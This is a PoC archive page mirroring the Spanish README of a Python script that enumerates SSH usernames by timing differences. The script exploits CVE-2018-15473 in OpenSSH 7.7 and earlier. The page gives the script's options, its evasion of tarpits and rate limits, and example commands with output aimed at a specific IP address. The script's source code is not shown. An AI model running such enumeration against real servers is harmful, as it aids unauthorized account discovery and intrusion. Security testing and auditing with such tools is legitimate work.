Associated Vulnerability
Title:OpenSSH 竞争条件问题漏洞 (CVE-2018-15473)Description:OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
Description
script de enumeración de usuarios SSH basado en diferencias de timing y respuestas de autenticación. Explota el mismo vector que CVE-2018-15473 en versiones vulnerables de OpenSSH (≤ 7.7), aunque también puede revelar patrones en configuraciones modernas.
Readme
# ssh_enum_py
script de enumeración de usuarios SSH basado en diferencias de timing y respuestas de autenticación. Explota el mismo vector que CVE-2018-15473 en versiones vulnerables de OpenSSH (≤ 7.7), aunque también puede revelar patrones en configuraciones modernas.
Funciona en Python 3 + Paramiko y soporta:
Prelectura de banner para evitar errores de EOF/NoBanner.
Retries por intento y cooldown entre usuarios (para evadir tarpits/MaxStartups).
Autotune de parámetros (-m, -t) según el jitter del objetivo.
⚠️ Uso Ético
Este script debe usarse únicamente en entornos propios o con autorización explícita.
El abuso contra sistemas externos sin permiso puede ser ilegal.
📖 Uso básico
./ssh_enum_py3.py -i <IP> -u users.txt -m <multiplier_ms> -t <threshold>
Ejemplo:
./ssh_enum_py3.py -i 149.210.234.234 -u users.txt -m 5000 -t 8
⚙️ Opciones
-i, --ip Host/IP objetivo (obligatorio)
-p, --port Puerto SSH (default: 22)
-u, --userlist Archivo con lista de usuarios (uno por línea)
-a, --autotune Calcula parámetros recomendados (multiplier y threshold)
-m, --multiplier Umbral en milisegundos por encima de la mediana local
-t, --threshold Número mínimo de “votos” (intentos que superan el cutoff)
--attempts Intentos por usuario (default: 12)
--timeout Timeout de conexión/autenticación (s, default: 6)
--banner-timeout Timeout para leer el banner SSH (s, default: 12)
--delay Pausa entre intentos de un mismo usuario (s, default: 0.6)
--cooldown-users Pausa entre usuarios (s, default: 0)
--retries Reintentos por intento en caso de error de banner/transporte
🚀 Ejemplos de uso
1. Autotune (solo medir baseline)
./ssh_enum_py3.py -i 149.210.234.234 -a --timeout 12 --banner-timeout 30 --retries 5
Salida:
[*] Autotune sugerido:
multiplier (ms): 4986
threshold : 8
baseline_med : 3586 ms (avg=3596 ms)
error mix : {'AuthFailed': 12}
2. Autotune + enumeración en la misma corrida
./ssh_enum_py3.py -i 149.210.234.234 -a -u users.txt \
--timeout 12 --banner-timeout 30 --delay 3 --cooldown-users 15
3. Enumeración directa con parámetros fijos
./ssh_enum_py3.py -i 149.210.234.234 -u users.txt -m 4986 -t 8 \
--attempts 10 --timeout 12 --banner-timeout 30 --retries 5 --delay 3 --cooldown-users 15
📋 Interpretación de resultados
likely VALID → Usuario probablemente existe (superó cutoff en ≥ threshold intentos).
likely INVALID → Usuario probablemente no existe (respuestas consistentes como “AuthFailed”).
errors={...} → resumen de códigos:
AuthFailed: respuesta normal de SSH.
NoBanner: el servidor cortó antes de banner (tarpit, MaxStartups, WAF).
TransportError: error de red/tiempo.
File Snapshot
[4.0K] /data/pocs/fd274d65748afff9e7cc9a79eb957b389388c28d
└── [2.7K] README.md
0 directories, 1 file
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →